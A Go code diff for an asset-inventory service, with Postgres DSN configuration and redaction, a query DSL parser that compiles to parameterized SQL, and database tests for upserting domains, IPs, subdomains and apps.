} else if v := strings.TrimSpace(Load().SkillDir); v != "" {
|
||||
d = v
|
||||
} else {
|
||||
d = filepath.Join(BaseDir(), "skills")
|
||||
}
|
||||
_ = os.MkdirAll(d, 0o755)
|
||||
return d
|
||||
}
|
||||
|
||||
// PostgresDSN resolves the connection string with precedence:
|
||||
//
|
||||
// env ARTEX_PG_DSN > config file (database.dsn, or assembled from fields)
|
||||
//
|
||||
// There is NO built-in fallback: when neither source supplies a database config,
|
||||
// it returns an error naming the config path it inspected, so startup fails loudly
|
||||
// instead of silently connecting to a wrong default. source describes where the
|
||||
// DSN came from (for startup logging).
|
||||
func PostgresDSN() (dsn, source string, err error) {
|
||||
if v := strings.TrimSpace(os.Getenv("ARTEX_PG_DSN")); v != "" {
|
||||
return v, "环境变量 ARTEX_PG_DSN", nil
|
||||
}
|
||||
db := Load().Database
|
||||
if d := strings.TrimSpace(db.DSN); d != "" {
|
||||
return d, "配置文件 " + Path() + " (database.dsn)", nil
|
||||
}
|
||||
if db.Host != "" || db.DBName != "" || db.User != "" {
|
||||
return db.buildDSN(), "配置文件 " + Path() + " (database 字段)", nil
|
||||
}
|
||||
return "", "", fmt.Errorf("未找到数据库配置：环境变量 ARTEX_PG_DSN 未设置，且配置文件 %s 未提供 database（dsn 或 host/user/dbname）。请创建该配置文件或设置环境变量后重试", Path())
|
||||
}
|
||||
|
||||
func (d Database) buildDSN() string {
|
||||
host := d.Host
|
||||
if host == "" {
|
||||
host = "127.0.0.1"
|
||||
}
|
||||
port := d.Port
|
||||
if port == 0 {
|
||||
port = 5432
|
||||
}
|
||||
ssl := d.SSLMode
|
||||
if ssl == "" {
|
||||
ssl = "disable"
|
||||
}
|
||||
u := url.URL{
|
||||
Scheme: "postgres",
|
||||
Host: host + ":" + strconv.Itoa(port),
|
||||
Path: "/" + d.DBName,
|
||||
}
|
||||
if d.User != "" {
|
||||
if d.Password != "" {
|
||||
u.User = url.UserPassword(d.User, d.Password)
|
||||
} else {
|
||||
u.User = url.User(d.User)
|
||||
}
|
||||
}
|
||||
u.RawQuery = url.Values{"sslmode": {ssl}}.Encode()
|
||||
return u.String()
|
||||
}
|
||||
|
||||
// String is a redacted view of the resolved DSN (password masked) for logging.
|
||||
func Redact(dsn string) string {
|
||||
u, err := url.Parse(dsn)
|
||||
if err != nil {
|
||||
return dsn
|
||||
}
|
||||
if u.User != nil {
|
||||
if _, hasPw := u.User.Password(); hasPw {
|
||||
u.User = url.UserPassword(u.User.Username(), "****")
|
||||
}
|
||||
}
|
||||
return fmt.Sprintf("%s", u.String())
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPostgresDSNPrecedence(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
os.WriteFile(cfgPath, []byte(`{"database":{"host":"10.1.2.3","port":6000,"user":"u","password":"p","dbname":"d","sslmode":"require"}}`), 0o644)
|
||||
t.Setenv("ARTEX_CONFIG", cfgPath)
|
||||
|
||||
// no env DSN → built from config file fields
|
||||
t.Setenv("ARTEX_PG_DSN", "")
|
||||
got, _, err := PostgresDSN()
|
||||
want := "postgres://u:[email protected]:6000/d?sslmode=require"
|
||||
if err != nil || got != want {
|
||||
t.Fatalf("from file: got %q err %v want %q", got, err, want)
|
||||
}
|
||||
|
||||
// env wins over config file
|
||||
t.Setenv("ARTEX_PG_DSN", "postgres://envwins/x")
|
||||
if got, _, err := PostgresDSN(); err != nil || got != "postgres://envwins/x" {
|
||||
t.Fatalf("env should win, got %q err %v", got, err)
|
||||
}
|
||||
|
||||
// no env, no file → error (no built-in default)
|
||||
t.Setenv("ARTEX_PG_DSN", "")
|
||||
t.Setenv("ARTEX_CONFIG", filepath.Join(dir, "nope.json"))
|
||||
if got, _, err := PostgresDSN(); err == nil {
|
||||
t.Fatalf("missing config should error, got %q", got)
|
||||
}
|
||||
|
||||
// full dsn in config file is used verbatim
|
||||
os.WriteFile(cfgPath, []byte(`{"database":{"dsn":"postgres://full/dsn"}}`), 0o644)
|
||||
t.Setenv("ARTEX_CONFIG", cfgPath)
|
||||
if got, _, err := PostgresDSN(); err != nil || got != "postgres://full/dsn" {
|
||||
t.Fatalf("file dsn verbatim, got %q err %v", got, err)
|
||||
}
|
||||
}
|
||||
+504
@@ -0,0 +1,504 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
// Expr is one leaf DSL clause.
|
||||
type Expr struct {
|
||||
Field string // empty = bare-text full-text search
|
||||
Op string // "=", "==", "!=", ">", ">=", "<", "<="
|
||||
Value string
|
||||
}
|
||||
|
||||
// astNode is a node in the parsed DSL expression tree.
|
||||
type astNode struct {
|
||||
kind string // "and", "or", "leaf"
|
||||
children []*astNode
|
||||
expr *Expr // only for "leaf"
|
||||
}
|
||||
|
||||
func andNode(cs []*astNode) *astNode { return &astNode{kind: "and", children: cs} }
|
||||
func orNode(cs []*astNode) *astNode { return &astNode{kind: "or", children: cs} }
|
||||
func leafNode(e Expr) *astNode { return &astNode{kind: "leaf", expr: &e} }
|
||||
|
||||
// knownStringFields maps DSL field name → SQL column name.
|
||||
// NOTE: "type" is intentionally excluded — it is a separate parameter, not a DSL field.
|
||||
var knownStringFields = map[string]string{
|
||||
"domain": "domain",
|
||||
"root_domain": "root_domain",
|
||||
"ip": "ip",
|
||||
"url": "url",
|
||||
"page_title": "page_title",
|
||||
"title": "page_title",
|
||||
"icp": "icp",
|
||||
"service_name": "service_name",
|
||||
"app_name": "app_name",
|
||||
"method": "method",
|
||||
"service_type": "service_type",
|
||||
"record_type": "record_type",
|
||||
}
|
||||
|
||||
// knownArrayFields maps DSL field name → SQL column name (array).
|
||||
var knownArrayFields = map[string]string{
|
||||
"technology": "technologies",
|
||||
"technologies": "technologies",
|
||||
"tech": "technologies",
|
||||
}
|
||||
|
||||
// knownNumericFields maps DSL field name → SQL column name (integer).
|
||||
var knownNumericFields = map[string]string{
|
||||
"port": "port",
|
||||
"status_code": "status_code",
|
||||
"status": "status_code",
|
||||
}
|
||||
|
||||
func isKnownField(f string) bool {
|
||||
f = strings.ToLower(f)
|
||||
_, s := knownStringFields[f]
|
||||
_, a := knownArrayFields[f]
|
||||
_, n := knownNumericFields[f]
|
||||
return s || a || n || f == "company_id" || f == "task_id"
|
||||
}
|
||||
|
||||
// ── tokeniser ────────────────────────────────────────────────────────────────
|
||||
|
||||
const (
|
||||
tkField = "FIELD"
|
||||
tkBare = "BARE"
|
||||
tkAnd = "AND"
|
||||
tkOr = "OR"
|
||||
tkLP = "LPAREN"
|
||||
tkRP = "RPAREN"
|
||||
tkEOF = "EOF"
|
||||
)
|
||||
|
||||
type tok struct {
|
||||
kind string
|
||||
expr *Expr // set for tkField and tkBare
|
||||
}
|
||||
|
||||
func tokenize(s string) ([]tok, error) {
|
||||
var tokens []tok
|
||||
i := 0
|
||||
for i < len(s) {
|
||||
for i < len(s) && unicode.IsSpace(rune(s[i])) {
|
||||
i++
|
||||
}
|
||||
if i >= len(s) {
|
||||
break
|
||||
}
|
||||
switch s[i] {
|
||||
case '(':
|
||||
tokens = append(tokens, tok{kind: tkLP})
|
||||
i++
|
||||
case ')':
|
||||
tokens = append(tokens, tok{kind: tkRP})
|
||||
i++
|
||||
default:
|
||||
if expr, end, ok := tryParseFieldExpr(s, i); ok {
|
||||
tokens = append(tokens, tok{kind: tkField, expr: &expr})
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
word, end := readToken(s, i)
|
||||
if word == "" {
|
||||
i++
|
||||
continue
|
||||
}
|
||||
switch strings.ToUpper(word) {
|
||||
case "AND":
|
||||
tokens = append(tokens, tok{kind: tkAnd})
|
||||
case "OR":
|
||||
tokens = append(tokens, tok{kind: tkOr})
|
||||
default:
|
||||
e := Expr{Field: "", Op: "=", Value: word}
|
||||
tokens = append(tokens, tok{kind: tkBare, expr: &e})
|
||||
}
|
||||
i = end
|
||||
}
|
||||
}
|
||||
tokens = append(tokens, tok{kind: tkEOF})
|
||||
return tokens, nil
|
||||
}
|
||||
|
||||
// ── parser ───────────────────────────────────────────────────────────────────
|
||||
//
|
||||
// Grammar (AND binds tighter than OR):
|
||||
// expr = or_expr
|
||||
// or_expr = and_expr (OR and_expr)*
|
||||
// and_expr = atom (AND atom)*
|
||||
// atom = FIELD | BARE | '(' expr ')'
|
||||
|
||||
type dslParser struct {
|
||||
tokens []tok
|
||||
pos int
|
||||
}
|
||||
|
||||
func (p *dslParser) peek() tok {
|
||||
if p.pos >= len(p.tokens) {
|
||||
return tok{kind: tkEOF}
|
||||
}
|
||||
return p.tokens[p.pos]
|
||||
}
|
||||
|
||||
func (p *dslParser) consume() tok {
|
||||
t := p.peek()
|
||||
p.pos++
|
||||
return t
|
||||
}
|
||||
|
||||
func (p *dslParser) parseOr() (*astNode, error) {
|
||||
left, err := p.parseAnd()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
children := []*astNode{left}
|
||||
for p.peek().kind == tkOr {
|
||||
p.consume()
|
||||
right, err := p.parseAnd()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
children = append(children, right)
|
||||
}
|
||||
if len(children) == 1 {
|
||||
return children[0], nil
|
||||
}
|
||||
return orNode(children), nil
|
||||
}
|
||||
|
||||
func (p *dslParser) parseAnd() (*astNode, error) {
|
||||
left, err := p.parseAtom()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
children := []*astNode{left}
|
||||
for p.peek().kind == tkAnd {
|
||||
p.consume()
|
||||
right, err := p.parseAtom()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
children = append(children, right)
|
||||
}
|
||||
if len(children) == 1 {
|
||||
return children[0], nil
|
||||
}
|
||||
return andNode(children), nil
|
||||
}
|
||||
|
||||
func (p *dslParser) parseAtom() (*astNode, error) {
|
||||
t := p.peek()
|
||||
switch t.kind {
|
||||
case tkField, tkBare:
|
||||
p.consume()
|
||||
return leafNode(*t.expr), nil
|
||||
case tkLP:
|
||||
p.consume()
|
||||
node, err := p.parseOr()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if p.peek().kind != tkRP {
|
||||
return nil, fmt.Errorf("DSL 语法错误：缺少右括号 ')'")
|
||||
}
|
||||
p.consume()
|
||||
return node, nil
|
||||
case tkEOF:
|
||||
return nil, fmt.Errorf("DSL 语法错误：表达式不完整")
|
||||
default:
|
||||
return nil, fmt.Errorf("DSL 语法错误：意外的 token '%s'", t.kind)
|
||||
}
|
||||
}
|
||||
|
||||
// ParseDSL parses a DSL query string into an expression tree.
|
||||
//
|
||||
// Syntax:
|
||||
//
|
||||
// field=value fuzzy match (ILIKE '%value%')
|
||||
// field==value exact match
|
||||
// field!=value exclude fuzzy
|
||||
// port>8080 numeric comparison
|
||||
// bare word full-text fuzzy across all main text fields
|
||||
//
|
||||
// Operators: AND OR (case-insensitive), parentheses for grouping.
|
||||
// AND binds tighter than OR.
|
||||
func ParseDSL(s string) (*astNode, error) {
|
||||
if strings.TrimSpace(s) == "" {
|
||||
return nil, nil
|
||||
}
|
||||
tokens, err := tokenize(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p := &dslParser{tokens: tokens}
|
||||
node, err := p.parseOr()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if p.peek().kind != tkEOF {
|
||||
return nil, fmt.Errorf("DSL 语法错误：意外的内容 '%s'", p.peek().kind)
|
||||
}
|
||||
return node, nil
|
||||
}
|
||||
|
||||
// ── SQL builder ──────────────────────────────────────────────────────────────
|
||||
|
||||
// fullTextCols are searched for bare-text tokens.
|
||||
var fullTextCols = []string{
|
||||
"domain", "root_domain", "ip", "url", "page_title",
|
||||
"icp", "service_name", "app_name", "app_description",
|
||||
}
|
||||
|
||||
type whereBuilder struct {
|
||||
args []any
|
||||
}
|
||||
|
||||
func (b *whereBuilder) next(v any) string {
|
||||
b.args = append(b.args, v)
|
||||
return fmt.Sprintf("$%d", len(b.args))
|
||||
}
|
||||
|
||||
func (b *whereBuilder) build(node *astNode) (string, error) {
|
||||
switch node.kind {
|
||||
case "and":
|
||||
parts := make([]string, 0, len(node.children))
|
||||
for _, child := range node.children {
|
||||
clause, err := b.build(child)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
parts = append(parts, "("+clause+")")
|
||||
}
|
||||
return strings.Join(parts, " AND "), nil
|
||||
case "or":
|
||||
parts := make([]string, 0, len(node.children))
|
||||
for _, child := range node.children {
|
||||
clause, err := b.build(child)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
parts = append(parts, "("+clause+")")
|
||||
}
|
||||
return strings.Join(parts, " OR "), nil
|
||||
case "leaf":
|
||||
return b.buildLeaf(*node.expr)
|
||||
}
|
||||
return "", fmt.Errorf("unknown node kind: %s", node.kind)
|
||||
}
|
||||
|
||||
func (b *whereBuilder) buildLeaf(e Expr) (string, error) {
|
||||
f := strings.ToLower(e.Field)
|
||||
|
||||
// bare-text: OR across all text fields + arrays
|
||||
if f == "" {
|
||||
p := b.next("%" + e.Value + "%")
|
||||
var parts []string
|
||||
for _, col := range fullTextCols {
|
||||
parts = append(parts, col+" ILIKE "+p)
|
||||
}
|
||||
parts = append(parts,
|
||||
"EXISTS (SELECT 1 FROM unnest(technologies) t(v) WHERE v ILIKE "+p+")",
|
||||
"EXISTS (SELECT 1 FROM unnest(bound_domains) t(v) WHERE v ILIKE "+p+")",
|
||||
)
|
||||
return "(" + strings.Join(parts, " OR ") + ")", nil
|
||||
}
|
||||
|
||||
// task_id: $N = ANY(task_ids)
|
||||
if f == "task_id" {
|
||||
n, err := strconv.ParseInt(e.Value, 10, 64)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("task_id 需要整数值: %s", e.Value)
|
||||
}
|
||||
return b.next(n) + " = ANY(task_ids)", nil
|
||||
}
|
||||
|
||||
// company_id: exact integer
|
||||
if f == "company_id" {
|
||||
n, err := strconv.ParseInt(e.Value, 10, 64)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("company_id 需要整数值: %s", e.Value)
|
||||
}
|
||||
return "company_id = " + b.next(n), nil
|
||||
}
|
||||
|
||||
// numeric fields
|
||||
if col, ok := knownNumericFields[f]; ok {
|
||||
n, err := strconv.Atoi(e.Value)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("字段 %s 需要整数值: %s", f, e.Value)
|
||||
}
|
||||
op := e.Op
|
||||
if op == "==" {
|
||||
op = "="
|
||||
}
|
||||
if op != "=" && op != "!=" && op != ">" && op != ">=" && op != "<" && op != "<=" {
|
||||
return "", fmt.Errorf("字段 %s 不支持运算符 %s", f, e.Op)
|
||||
}
|
||||
return fmt.Sprintf("%s %s %s", col, op, b.next(n)), nil
|
||||
}
|
||||
|
||||
// array fields
|
||||
if col, ok := knownArrayFields[f]; ok {
|
||||
switch e.Op {
|
||||
case "==":
|
||||
return b.next(e.Value) + " = ANY(" + col + ")", nil
|
||||
case "!=":
|
||||
return "NOT (" + b.next(e.Value) + " = ANY(" + col + "))", nil
|
||||
case "=":
|
||||
p := b.next("%" + e.Value + "%")
|
||||
return "EXISTS (SELECT 1 FROM unnest(" + col + ") t(v) WHERE v ILIKE " + p + ")", nil
|
||||
default:
|
||||
return "", fmt.Errorf("数组字段 %s 不支持运算符 %s", f, e.Op)
|
||||
}
|
||||
}
|
||||
|
||||
// string fields
|
||||
if col, ok := knownStringFields[f]; ok {
|
||||
switch e.Op {
|
||||
case "=":
|
||||
return col + " ILIKE " + b.next("%"+e.Value+"%"), nil
|
||||
case "==":
|
||||
return col + " = " + b.next(e.Value), nil
|
||||
case "!=":
|
||||
return col + " NOT ILIKE " + b.next("%"+e.Value+"%"), nil
|
||||
default:
|
||||
return "", fmt.Errorf("字符串字段 %s 不支持运算符 %s", f, e.Op)
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("未知字段: %s", f)
|
||||
}
|
||||
|
||||
func buildDSLWhere(node *astNode) (string, []any, error) {
|
||||
if node == nil {
|
||||
return "1=1", nil, nil
|
||||
}
|
||||
b := &whereBuilder{}
|
||||
clause, err := b.build(node)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
return clause, b.args, nil
|
||||
}
|
||||
|
||||
// ── helpers (shared with parser) ─────────────────────────────────────────────
|
||||
|
||||
// tryParseFieldExpr tries to parse "field op value" at pos.
|
||||
func tryParseFieldExpr(s string, pos int) (Expr, int, bool) {
|
||||
i := pos
|
||||
if i >= len(s) || !isIdentStart(s[i]) {
|
||||
return Expr{}, pos, false
|
||||
}
|
||||
for i < len(s) && isIdentChar(s[i]) {
|
||||
i++
|
||||
}
|
||||
field := strings.ToLower(s[pos:i])
|
||||
if !isKnownField(field) {
|
||||
return Expr{}, pos, false
|
||||
}
|
||||
if i >= len(s) {
|
||||
return Expr{}, pos, false
|
||||
}
|
||||
var op string
|
||||
switch {
|
||||
case i+1 < len(s) && (s[i] == '=' || s[i] == '!' || s[i] == '>' || s[i] == '<') && s[i+1] == '=':
|
||||
op = s[i : i+2]
|
||||
i += 2
|
||||
case s[i] == '>' || s[i] == '<' || s[i] == '=':
|
||||
op = string(s[i])
|
||||
i++
|
||||
default:
|
||||
return Expr{}, pos, false
|
||||
}
|
||||
value, end := readToken(s, i)
|
||||
if end == i {
|
||||
return Expr{}, pos, false
|
||||
}
|
||||
return Expr{Field: field, Op: op, Value: value}, end, true
|
||||
}
|
||||
|
||||
// readToken reads a quoted or unquoted token starting at pos.
|
||||
func readToken(s string, pos int) (string, int) {
|
||||
if pos >= len(s) {
|
||||
return "", pos
|
||||
}
|
||||
if s[pos] == '"' {
|
||||
i := pos + 1
|
||||
for i < len(s) && s[i] != '"' {
|
||||
i++
|
||||
}
|
||||
val := s[pos+1 : i]
|
||||
if i < len(s) {
|
||||
i++
|
||||
}
|
||||
return val, i
|
||||
}
|
||||
i := pos
|
||||
for i < len(s) && !unicode.IsSpace(rune(s[i])) && s[i] != '(' && s[i] != ')' {
|
||||
i++
|
||||
}
|
||||
return s[pos:i], i
|
||||
}
|
||||
|
||||
func isIdentStart(c byte) bool {
|
||||
return c == '_' || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')
|
||||
}
|
||||
func isIdentChar(c byte) bool {
|
||||
return isIdentStart(c) || (c >= '0' && c <= '9')
|
||||
}
|
||||
|
||||
// ── QueryDSL ─────────────────────────────────────────────────────────────────
|
||||
|
||||
// CountDSL returns the total number of assets matching a DSL expression (and optional
|
||||
// type), for server-side pagination — same WHERE as QueryDSL, without LIMIT/OFFSET.
|
||||
func (s *AssetStore) CountDSL(dsl, typ string) (int, error) {
|
||||
node, err := ParseDSL(dsl)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
where, args, err := buildDSLWhere(node)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
if typ != "" {
|
||||
args = append(args, typ)
|
||||
where += fmt.Sprintf(" AND type = $%d", len(args))
|
||||
}
|
||||
var n int
|
||||
err = s.db.QueryRow("SELECT count(*) FROM assets WHERE "+where, args...).Scan(&n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
// QueryDSL executes a DSL query string against the asset store.
|
||||
// typ is an optional asset type filter applied independently of the DSL expression.
|
||||
func (s *AssetStore) QueryDSL(dsl, typ string, limit, offset int) ([]*Asset, error) {
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
node, err := ParseDSL(dsl)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
where, args, err := buildDSLWhere(node)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if typ != "" {
|
||||
args = append(args, typ)
|
||||
where += fmt.Sprintf(" AND type = $%d", len(args))
|
||||
}
|
||||
args = append(args, limit, offset)
|
||||
q := assetSelectCols + " WHERE " + where +
|
||||
fmt.Sprintf(" ORDER BY last_seen DESC LIMIT $%d OFFSET $%d", len(args)-1, len(args))
|
||||
rows, err := s.db.Query(q, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanAssets(rows)
|
||||
}
|
||||
+1103
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,705 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
// testSetup opens a DB and returns both stores. Skips if no PG.
|
||||
func testSetup(t *testing.T) (*DB, *AssetStore, *CompanyStore) {
|
||||
t.Helper()
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
return d, d.Assets(), d.Companies()
|
||||
}
|
||||
|
||||
// deleteAsset removes one v2 asset by id.
|
||||
func deleteAsset(d *DB, id int64) {
|
||||
d.Exec(`DELETE FROM assets WHERE id = $1`, id)
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// RootDomain
|
||||
// =====================================================================
|
||||
|
||||
func TestUpsertRootDomain(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id1, err := av2.UpsertRootDomain(UpsertRootDomainReq{Domain: "roottest.io", ICP: "A12345", TaskID: 1})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id1)
|
||||
if id1 == 0 {
|
||||
t.Fatal("expected non-zero id")
|
||||
}
|
||||
|
||||
// upsert again — same id (dedup), ICP preserved
|
||||
id2, err := av2.UpsertRootDomain(UpsertRootDomainReq{Domain: "roottest.io", TaskID: 2})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id1 {
|
||||
t.Errorf("dedup failed: %d != %d", id2, id1)
|
||||
}
|
||||
|
||||
// task_ids should now contain both 1 and 2
|
||||
var taskIDs []byte
|
||||
d.QueryRow(`SELECT task_ids FROM assets WHERE id = $1`, id1).Scan(&taskIDs)
|
||||
|
||||
// ICP should still be set (COALESCE keeps existing)
|
||||
var icp *string
|
||||
d.QueryRow(`SELECT icp FROM assets WHERE id = $1`, id1).Scan(&icp)
|
||||
if icp == nil || *icp != "A12345" {
|
||||
t.Errorf("ICP not preserved: %v", icp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertRootDomainEmpty(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
_, err := av2.UpsertRootDomain(UpsertRootDomainReq{Domain: ""})
|
||||
if err == nil {
|
||||
t.Error("expected error for empty domain")
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// IP
|
||||
// =====================================================================
|
||||
|
||||
func TestUpsertIP(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id1, err := av2.UpsertIP(UpsertIPReq{
|
||||
IP: "192.168.10.5",
|
||||
OpenPorts: []PortService{{Port: 22, Service: "ssh"}, {Port: 80, Service: "http"}},
|
||||
TaskID: 1,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id1)
|
||||
|
||||
// c_segment should be 192.168.10.0/24
|
||||
var cseg *string
|
||||
d.QueryRow(`SELECT c_segment::text FROM assets WHERE id = $1`, id1).Scan(&cseg)
|
||||
if cseg == nil || *cseg != "192.168.10.0/24" {
|
||||
t.Errorf("c_segment: want 192.168.10.0/24, got %v", cseg)
|
||||
}
|
||||
|
||||
// append another port via UpsertIP (merge)
|
||||
id2, err := av2.UpsertIP(UpsertIPReq{
|
||||
IP: "192.168.10.5",
|
||||
OpenPorts: []PortService{{Port: 443, Service: "https"}},
|
||||
TaskID: 2,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id1 {
|
||||
t.Errorf("dedup failed: %d != %d", id2, id1)
|
||||
}
|
||||
|
||||
// verify all 3 ports present
|
||||
var cnt int
|
||||
d.QueryRow(`SELECT cardinality(open_ports) FROM assets WHERE id = $1`, id1).Scan(&cnt)
|
||||
if cnt != 3 {
|
||||
t.Errorf("open_ports merge: want 3 ports, got %d", cnt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertIPBoundDomains(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id, err := av2.UpsertIP(UpsertIPReq{
|
||||
IP: "10.1.2.3",
|
||||
BoundDomains: []string{"a.example.com"},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id)
|
||||
|
||||
// append a second domain
|
||||
id2, err := av2.UpsertIP(UpsertIPReq{
|
||||
IP: "10.1.2.3",
|
||||
BoundDomains: []string{"b.example.com"},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id {
|
||||
t.Errorf("dedup failed: %d != %d", id2, id)
|
||||
}
|
||||
|
||||
var cnt int
|
||||
d.QueryRow(`SELECT array_length(bound_domains, 1) FROM assets WHERE id = $1`, id).Scan(&cnt)
|
||||
if cnt != 2 {
|
||||
t.Errorf("bound_domains merge: want 2, got %d", cnt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppendIPPort(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id, err := av2.UpsertIP(UpsertIPReq{IP: "10.9.8.7"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id)
|
||||
|
||||
if err := av2.AppendIPPort("10.9.8.7", 3306, "mysql"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := av2.AppendIPPort("10.9.8.7", 22, "ssh"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var cnt int
|
||||
d.QueryRow(`SELECT cardinality(open_ports) FROM assets WHERE id = $1`, id).Scan(&cnt)
|
||||
if cnt != 2 {
|
||||
t.Errorf("AppendIPPort: want 2 ports, got %d", cnt)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Subdomain
|
||||
// =====================================================================
|
||||
|
||||
func TestUpsertSubdomain(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id, err := av2.UpsertSubdomain(UpsertSubdomainReq{
|
||||
Domain: "sub.subdtest.com",
|
||||
RecordType: "A",
|
||||
RecordValue: []string{"1.2.3.4"},
|
||||
ICP: "B99",
|
||||
TaskID: 1,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM assets WHERE domain IN ('sub.subdtest.com', 'subdtest.com') OR ip = '1.2.3.4'`)
|
||||
|
||||
if id == 0 {
|
||||
t.Fatal("expected non-zero id")
|
||||
}
|
||||
|
||||
// verify root_domain auto-populated
|
||||
var rootDomain string
|
||||
d.QueryRow(`SELECT COALESCE(root_domain,'') FROM assets WHERE id = $1`, id).Scan(&rootDomain)
|
||||
if rootDomain != "subdtest.com" {
|
||||
t.Errorf("root_domain: want subdtest.com, got %q", rootDomain)
|
||||
}
|
||||
|
||||
// side effect: root domain asset should exist
|
||||
var rootCnt int
|
||||
d.QueryRow(`SELECT COUNT(*) FROM assets WHERE type = 'root_domain' AND domain = 'subdtest.com'`).Scan(&rootCnt)
|
||||
if rootCnt != 1 {
|
||||
t.Error("side-effect root domain not created")
|
||||
}
|
||||
|
||||
// side effect: IP asset with bound_domain
|
||||
var ipCnt int
|
||||
d.QueryRow(`SELECT COUNT(*) FROM assets WHERE type = 'ip' AND ip = '1.2.3.4'`).Scan(&ipCnt)
|
||||
if ipCnt != 1 {
|
||||
t.Error("side-effect IP asset not created")
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertSubdomainDedup(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id1, err := av2.UpsertSubdomain(UpsertSubdomainReq{Domain: "dedup.subdtest2.net", RecordType: "A", RecordValue: []string{"5.5.5.5"}})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM assets WHERE domain IN ('dedup.subdtest2.net', 'subdtest2.net') OR ip = '5.5.5.5'`)
|
||||
|
||||
id2, err := av2.UpsertSubdomain(UpsertSubdomainReq{Domain: "dedup.subdtest2.net", RecordType: "A", RecordValue: []string{"5.5.5.5"}})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id1 {
|
||||
t.Errorf("subdomain dedup failed: %d vs %d", id2, id1)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// App
|
||||
// =====================================================================
|
||||
|
||||
func TestUpsertAppByBundle(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id1, err := av2.UpsertApp(UpsertAppReq{Name: "MyApp", BundleID: "com.example.myapp", Category: "tools"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id1)
|
||||
|
||||
// dedup by bundle
|
||||
id2, err := av2.UpsertApp(UpsertAppReq{Name: "MyApp Updated", BundleID: "com.example.myapp"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id1 {
|
||||
t.Errorf("app bundle dedup failed: %d vs %d", id2, id1)
|
||||
}
|
||||
}
|
||||
|
||||
